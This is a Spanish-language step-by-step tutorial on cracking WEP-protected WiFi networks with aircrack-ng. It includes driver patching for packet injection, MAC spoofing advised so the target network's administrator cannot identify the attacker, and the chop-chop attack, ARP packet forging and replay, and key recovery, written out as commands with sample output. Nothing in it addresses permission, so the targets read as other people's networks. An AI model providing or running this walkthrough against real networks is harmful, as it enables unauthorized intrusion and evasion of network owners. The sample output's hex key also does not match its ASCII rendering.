Obtener claves WEP de redes WiFi con aircrack-ng

En esta guía se utilizará la última versión beta de aircrack-ng disponible en el momento escrito.

No serás capaz de craquear una red protegida con WPA con estos pasos, para ello deberías echar un vistazo a este tutorial.

De todos modos, puede darte algunas ideas sobre el proceso.

Instalación de la última versión beta

Las instrucciones originales para descargar y compilar la última versión beta están equivocados.

Estas instrucciones lo harán:

wget http://download.aircrack-ng.org/aircrack-ng-1.0-beta2.tar.gz
tar -zxvf aircrack-ng-*.tar.gz
cd aircrack-ng-*
make
sudo make install
aircrack-ng --help | head -n 2 
                

Comprueba que la salida del último comando es

 Aircrack-ng 1.0 beta2 - (C) 2006,2007 Thomas d'Otreppe
                

para asegurarte de que todo se ha compilado e instalado bien.

Instalación del parche de inyección para IPW 2200

No todos los drivers de Linux soportan la inyección de paquetes, un detalle crucial para acelerar el craqueo, pero hay un montón de parches disponibles.

Aquí voy a explicar cómo activar la inyección del driver para una conexión de red con Intel PRO/Wireless 2200BG (el que tengo en mi computadora portátil Dell).

El parche actual que se puede encontrar es para la versión 1.2.1 ddel driver, pero lo he aplicado con éxito a la versión 1.2.2. también.

En realidad, se necesita la versión 1.2.2 del driver, la versión anterior no funciona bien con todas las redes.

modinfo ipw2200 | grep version

Asegúrete de que dice 1.2.2xxxx.

Así que primero descarga el parche desde aquí.

Patchear y compilar el driver

wget http://ovh.dl.sourceforge.net/sourceforge/ipw2200/ipw2200-1.2.2.tgz
tar -zxvf ipw2200-1.2.2.tgz
tar -zxvf ipw2200-1.2.1-inject_patch.tar.gz
patch ipw2200-1.2.2/ipw2200.c ipw2200-1.2.1-inject.patch
patch ipw2200-1.2.2/Makefile ipw2200-1.2.1-inject_Makefile.patch
cd ipw2200-1.2.2
make
sudo make install

Ignora las siguientes advertencias al parchear el primer archivo:

Hunk #1 succeeded at 2017 with fuzz 2 (offset 46 lines).
Hunk #2 succeeded at 11801 (offset 53 lines).

Tal vez recibes una advertencia sobre el módulo ieee80211. La IPW2200 funciona sin ello, pero se puede instalar las fuentes del mencionado módulo con

sudo aptitude install ieee80211-source
o descargar el código fuente de esta página web.

Utilizar el driver parcheado

Con el fin de permitir la inyección tenemos que reiniciar el driver IPW2200 con su nuevo adaptador de inyección.

sudo -i
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
ifconfig rtap0 up
exit

Montar automáticamente el adaptador de la inyección

Podemos configurar nuestro Ubuntu para que el módulo IPW2200 se inicia automáticamente con el adaptador de inyección habilitado.
De lo contrario tendríamos que ejecutar las instrucciones anteriores cada vez que reinicie el sistema.

sudo -i
echo "options ipw2200 rtap_iface=1" > /etc/modprobe.d/ipw2200.modprobe
exit

Atacar a una red inalámbrica

Después de haber instalado y configurado al driver de nuestra tarjeta inalámbrica, todo está listo para nuestro primer ataque.

Comprueba la conexión inalámbrica

Hay que saber cual de las conexiones de red es la inalámbrica (en la mayoría de los sistemas será eth1).

iwconfig | grep "ESSID"

Deberías ver algo como esto cuando no estás conectado a ninguna red:

eth1 unassociated ESSID: ""

Buscar una red para atacar

Hay dos formas de encontrar las redes:

  1. iwlist eth1 scan
  2. sudo airodump-ng eth1

Considerando que el primer método es bueno y útil, porque te muestra al instante todas las redes y da a conocer sus parámetros, el segundo método también muestra sus actividades y es más compacto, aunque tarda un poco más para revelar todas las redes accesibles.

Sea cual sea, ahora que vemos una lista de redes, elegimos una que está protegido por WEP, preferiblemente con un alto número beacon (indicación que la señal de red es fuerte y cercano a nosotros).

Preparación para el ataque

Antes de empezar atacando a una red puede ser una buena idea la de cambiar la dirección MAC de tu dispositivo de red, por si acaso que el administrador de la red atacada ve tu MAC, es más anónima.

sudo ifconfig eth1 up hw ether 00:11:22:33:44:55 ; ifconfig | grep eth1

Comprueba en la salida la dirección cambiada de la MAC.

En segundo lugar tienes que apuntar de la red su BSSID (dirección MAC), el número del canal y ESSID (nombre).
Con estos parámetros configuras tu conexión inalámbrica.
Asegúrate de que has detenido todos los procesos de airodump-ng que podrían estar corriendo todavía.

sudo iwconfig eth1 essid <ESSID> channel <#> key s:fakekey mode managed

Asegúrate de obtener algun resultado parecido a éste de iwconfig, lo que indica que estás conectado a la red seleccionada, de lo contrario debes reejecutar el comando de arriba o seleccionar otra red.

eth1 IEEE 802.11g ESSID:"scoobedoo"
Mode:Managed Frequency:2.437 GHz Access Point: 45:A3:C5:FC:9D:47

Nota

Si utilizas un driver parcheado como el del IPW2200, su inyección funciona sólo cuando la conexión de red está asociada a la red atacada.
Por lo tanto, yo prefiero abrir una nueva shell y ejecutar este comando en lugar del otro, que periódicamente intenta volver a conectar con la red:

sudo -i
watch -n 5 "iwconfig eth1 essid <ESSID> channel <#> key s:fakekey mode managed ; iwconfig eth1"

Ahora lanza airodump-ng para la recogida de datos de la red seleccionada.

sudo airodump-ng -c <channel#> --bssid <BSSID> -w dump rtap0

Atacar y craquear la red

Ahora viene la parte difícil y recomiendo leer los manuales que se pueden encontrar en el sitio web de aircrack-ng, especialmente éste acerca del ataque chop-chop y él de la amplificación de ARP.

Si haces las cosas de la manera correcta, y todo va bien, el craqueo de una red no dura más de cinco minutos.

Deja que airodump-ng captura paquetes y abre una nueva shell para los próximos pasos.

Por cierto, si ya ves un incremento enorme de paquetes de datos en la salida de airodump-ng, debido a que uno o más clientes están conectados y utilizan en gran medida la red, puedes ir directamente al paso de la obtención de la contraseña.
Los pasos de ataque siguientes sólo son necesarios en el caso contrario, en que fueron sólo unos pocos paquetes de datos que llegan (o ninguno) y la captura de suficientes paquetes tendrá una duración de días o semanas.
Inyección es sólo un método para acelerar el proceso de recolección de paquetes.

Ataque ChopChop

Básicamente, este ataque provoca a la red atacada y trata de descifrar una solicitud ARP válida de los paquetes recibidos de respuesta.

until yes | sudo aireplay-ng -4 -a <BSSID> -h `ifconfig eth1 | grep HWaddr | awk '{print $5}'` -i rtap0 eth1 ; do echo "failed...."; done

Cuando comienza verás un montón de líneas como estas y por último, se completa (en mi ejemplo, tardó medio minuto).

Offset 38 (90% done) | xor = A6 | pt = 08 | 228 frames written in 684ms
Offset 37 (92% done) | xor = 99 | pt = 01 | 489 frames written in 1465ms
Offset 36 (94% done) | xor = D0 | pt = 00 | 18 frames written in 56ms
Offset 35 (96% done) | xor = 9C | pt = 06 | 229 frames written in 687ms
Offset 34 (98% done) | xor = 6A | pt = 08 | 147 frames written in 441ms

Saving plaintext in replay_dec-1120-125311.cap
Saving keystream in replay_dec-1120-125311.xor

Completed in 30s (1.60 bytes/s)

Si el ataque falla, vuelva a realizar el comando de nuevo omitiendo el "-h <host MAC>" parámetro.

until yes | sudo aireplay-ng -4 -a <BSSID> -i rtap0 eth1 ; do echo "failed...."; done

Crear un paquete ARP de solicitud válido para la inyección

Para crear una solicitud ARP amplificada, lo que significa que contiene algunas direcciones IP válidas para la red atacada, lo que aumenta drásticamente la recopilación de datos, analiza el paquete descifrado del ataque chop-chop.

tcpdump -r replay_dec-1120-125311.cap

Esto puede llevar algún tiempo, tal vez un minuto, pero finalmente deberias conseguir algo parecido a esto o cualquier otro mensaje que incluye al menos una IP.

reading from file replay_dec-1120-125311.cap, link-type IEEE802_11 (802.11)
12:53:11.982677 arp who-has 10.1.17.3 tell 10.1.17.1

Ahora sabes que una IP de una máquina en esta red es 10.1.17.1.

Utilizamos este hecho para forjar un paquete ARP válido para esta red.

packetforge-ng -0 -a BSSID -h 00:11:22:33:44:55                             \
               -k 10.1.17.1 -l 10.255.255.255 -y replay_dec-1120-125311.xor \
               -w arp-request

Inyección de los paquetes ARP forjados artificialmente

Ahora estas preparado para atacar a la red.

yes | sudo aireplay-ng -2 -r arp-request eth1

¡Echa un vistazo a la salida de airodump-ng!
Deberias ver que el número en la columna # Datos aumenta de repente en pasos acelerados.
Esto se debe a que el router atacado responde a los paquetes ARP artificiales.

La obtención de la contraseña

Ahora que tienes una gran cantidad de paquetes de vectores IVS, puedes lanzar en una shell nueva el programa de craqueo.

aircrack-ng -z dump-*.cap

Si todo funciona bien, verás después de un minuto la clave de la red.

Aircrack-ng 1.0 beta1

[00:01:16] Tested 649 keys (got 59527 IVs)
KB depth byte(vote)
0 7/ 9 D6(67328) 1A(66048) A0(66048) E1(66048) 70(65536) D1(65536) 14(65280) 8B(65280)
1 3/ 1 C5(68864) 77(68608) B8(68352) 00(67840) 1A(67584) 2F(67584) 5D(67328) 32(67072)
2 2/ 2 32(69376) 8B(68352) 82(68096) 66(67840) C0(67584) 28(66816) DE(66560) 43(66304)
3 2/ 3 03(71936) D7(69120) E9(69120) 30(68352) 46(68352) 71(68352) 94(68096) 1C(67840)
4 1/ 2 E3(76800) 09(71168) 27(69888) 81(69632) AD(69632) 5A(69376) 8F(69376) 65(68608)

KEY FOUND!     [ 6F:66:69:63:69:6E:61:73:63:69:72:6F:31 ] (ASCII: office1 )
Decrypted correctly: 100%

Deten la inyección del aireplay-ng con Control-C para no poner problemas para la red por más tiempo.

Si la contraseña no tiene una versión ASCII, puedes introducirla en versión hexadecimal, pero sin los ':' en el medio.

Notas finales

Este manual muestra los pasos que hay que realizar cuando no hay grandes problemas.
Si te encuentras con algunos problemas en uno de los pasos, deberías echar un vistazo al sitio web de aircrack-ng, donde hay un montón de manuales, también para otros adaptadores inalámbricos que la IPW2200.